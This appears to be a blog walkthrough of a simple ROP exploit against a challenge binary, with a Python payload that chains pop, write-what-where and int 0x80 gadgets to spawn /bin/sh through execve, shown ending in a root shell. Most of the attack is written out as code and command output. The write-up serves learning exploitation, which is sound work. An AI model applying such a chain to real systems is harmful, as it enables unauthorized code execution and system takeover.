A Simple ROP Exploit – /bin/sh via syscall

In order to execute /bin/sh with the sys_execve syscall, we need to solve a few hurdles, according to the reference we need to set up the registers as follows;

EAX = 11 (or 0x0B in hex) – The execve syscall number
EBX = Address in memory of the string “/bin/sh”
ECX = Address of a pointer to the string “/bin/sh”
EDX = Null (Optionally a pointer to a structure describing the environment)

Once all these things are set up, executing the int 0x80 instruction should spawn a shell.

Working backwards

We walk backwards from what we want, chaining solutions to problems together one at a time until we have finished our exploit chain, the nature of ROP exploitation is that solving one problem often introduces another, so its vital that we are focused and logical as we work, and that we always look for different routes and alternate solutions.

The first thing we need is somewhere to put the /bin/sh string, we also need a means to write this string to this chosen location and a memory address which contains a pointer to this location. We also need to be able to write nulls to EDX (which is often problematic), and arbitrary values to EAX, EBX and ECX. Finally we need an int 0x80 instruction.

Gadgets

With our requirements in mind we can go shopping for gadgets in the binary, a gadget is a useful series of instructions followed by a ret, the ret instruction is vital as this is what allows us to chain multiple gadgets together into a chain which execution then flows down, returning from one instruction to the next. If our exploit is a chain then each gadget is a link in that chain.

There are a great many tools available that ease the hunt for gadgets and the building of ROP chains, but we’re going to leave these for now and do everything ourselves to ensure we have a good understanding of the process.

Whilst the binary we’re looking at is fairly small it contains a lot of gadgets, including a suspiciously dense area of instructions which looks almost like it was deliberately constructed.

gadgetzan

This section of memory contains everything we need – starting with gadgets to pop data from the stack into EAX, EBX, ECX and EDX. Given that we control the stack this gives us the ability to set the value of these registers.

For example starting at 0x08048225 are the instructions pop %eax; ret, this gadget takes whatever 4 bytes are at the top of the stack and puts them into the EAX register, increments the stack pointer and then returns to the next address. To use this, we put the following into our chain;

[0x08048225][<Value to put into EAX>][<Next Gadget>] ...

We’ve also got a gadget to xor %edx,%edx; ret – this could come in really handy if we can’t send null bytes in our exploit as we already know that we need to set EDX to 0. XORing a register with itself is a common way of zeroing it out.

Next, we’ve got a really powerful tool – the gadget at 0x0804822F is mov %eax, (%edx); ret this will take whatever is in EAX and copy it to the memory location who’s address in EDX, as we can chain this with the previous gadgets to control the value of EAX and EDX this forms a write-what-where primitive.

Finally we can find an int 0x80; ret gadget at 0x8048210

Writable Memory

We’re going to go about writing the string for the command we want to execute into the program’s memory. We can find a suitable writable memory section with objdump -x

4 .bss 0000001c 0804a000 0804a000 00001000 2**2
ALLOC

Its worth noting that this memory location contains a null byte in the least significant position, if we need to we can add a small offset to avoid this, say 0x0804A004


The Exploit

That’s a lot of prep work, but we can start writing our exploit now. As I mentioned at the start it’s vital that we lay out our code for maximum readability, so the first thing I do is give readable names to all of my gadgets, and define a function address() to do the little-endian address conversions for me.

pop_eax = 0x08048225
pop_ebx = 0x08048227
pop_ecx = 0x08048229
pop_edx = 0x0804822B
zero_edx = 0x08048220
writewhatwhere = 0x0804822f
execute_syscall = 0x08048210

def address(data):
    return struct.pack("&lt;L", data)

We also need to set variables to hold the writable memory address, the string we want to put there, the padding we’re going to put into the 64 bytes and finally whatever junk value we’re going to overwrite EBP with. As this doesn’t impact the exploit its a minor detail but it helps to lay everything out methodically.

writable_memory=0x0804a010 # .bss section is writable
padding = " "              # we'll use spaces as padding
text = "A shell\n\n\n"     # Flavor text
EBPoverwrite = "AAAA"      # Bytes to overwrite EBP

We know that we take control of EIP at 68 bytes into our exploit buffer, so we can build the first part of the buffer with 64 bytes + 4 bytes to overwrite EBP

buffer = text + padding * (64 - len(text))
buffer += EBPoverwrite

String Write 1

The next 4 bytes in the exploit buffer are the first value that EIP is set to, and the start of the ROP chain. Our first task is going to be using our write-what-where to put the string “/bin/sh” into memory to use as argument 1 for the syscall, the first step of which is putting the value to write into EAX.

buffer += address(pop_eax) # place value into EAX
buffer += "/bin"           # 4 bytes at a time

When the pop EAX gadget is executed, ESP will be pointing to the next 4 byte word, the bytes corresponding to the ascii string “/bin”


The next step is using the pop edx gadget to put the address we want to write to into EDX

buffer += address(pop_edx)         # place value into edx
buffer += address(writable_memory)

I’m using my address function here to reorder the bytes into little endian order, as both are memory addresses.


Finally we call the mov %eax, (%edx) gadget to do the write to memory

buffer += address(writewhatwhere)

String Write 2

Now we repeat the process, writing the next 4 bytes of the string to memory. We’ve technically only got 3 bytes left to write, but we can cheat a little as multiple / characters are ignored by execve. So we’re going to write “//sh”. We need to update EDX to add a +4 offset, and change the value in EAX.

buffer += address(pop_eax)
buffer += "//sh"
buffer += address(pop_edx)
buffer += address(writable_memory + 4)
buffer += address(writewhatwhere)

Strings need to be null-terminated, the memory we’re writing into here is initialised to zero so we don’t need to worry in this case, but its worth keeping in mind.


Address Write

With the required string now in memory we need to also write into memory a pointer to it. This is another use of the write-what-where primitive. Note that we’re writing to an offset of +12 rather than +8, because we need to null terminate the string, we can’t write the pointer next to it, there needs to be a small gap.

# write the address containing /bin/sh string into memory
buffer += address(pop_eax)
buffer += address(writable_memory)
buffer += address(pop_edx)
buffer += address(writable_memory + 12)
buffer += address(writewhatwhere)

Zero EDX

The third argument we need is stored in EDX and should be 0x00000000. We could use a pop_edx gadget to move nulls into the register and in this case that works fine because we _can_ write nulls in our exploit. Alternatively we can make use of the xor %edx, %edx gadget, which is a more generic approach given how often 0x00 is a bad character. Now that we’ve finished using the write-what-where we no longer need to use, so its time to zero it out.

buffer += address(zero_edx)

Set Up Registers

Its time to get EBX and ECX set up ready for the syscall, these are easy enough to do as both are memory locations;

buffer += address(pop_ebx)
buffer += address(writable_memory)      # location of string /bin/sh

buffer += address(pop_ecx)
buffer += address(writable_memory + 12) # address of pointer to /bin/sh

The last argument is the syscall number which needs to be put into EAX. Again, 0x0000000B contains null bytes which can cause issues is some exploits. It may be neccessary to (for example) zero the register out, and increment it up to 11 in order to avoid the bad chars, or some other more roundabout method of setting the register.

buffer += address(pop_eax)
buffer += struct.pack("<I", 0x0000000B)

Execve Syscall

Its time to do the execve syscall. With all of the arguments for the call now correctly set up, this is remarkably straightforward. We also finish up the exploit here, printing the contents of the buffer we’ve been building.

buffer += address(execute_syscall)
print(buffer)

Running the exploit

In my testing I could see the shell being created as expected, but it would immediately close as soon as the host program closed. This caused me some issues until a friend of mine pointed out that this was a well known and common issue, easily resolved by using cat to keep the input pipe open;

root@kali:~# python exploit.py > exploit
root@kali:~# (cat exploit; cat) | ./binary_challenge
Show me what you’ve got
:>You’ve got: A shell

 

AAAA%�/bin+�

id
uid=0(root) gid=0(root) groups=0(root)


There we go, a working ROP exploit for a simple buffer overflow. Its been a good fun challenge, and in completing it I’ve learned a lot. I hope that this walkthrough has been useful for your own learning and / or interesting.

This entry was posted in ROP, Stack Smashing. Bookmark the permalink.

2 Responses to A Simple ROP Exploit – /bin/sh via syscall

  1. mike says:

    Great tutorials! Good work.Keep it up. I have a problem with the exploit.The null bytes in the addresses are causing its failure.Bash keeps on saying “warning: command substitution: null byte ignored in input”

    • operationxen says:

      Are you using the same approach as me? I used python to create a binary file which was then cat and piped into the vulnerable program, avoiding trying to push nulls through a bash shell

Leave a comment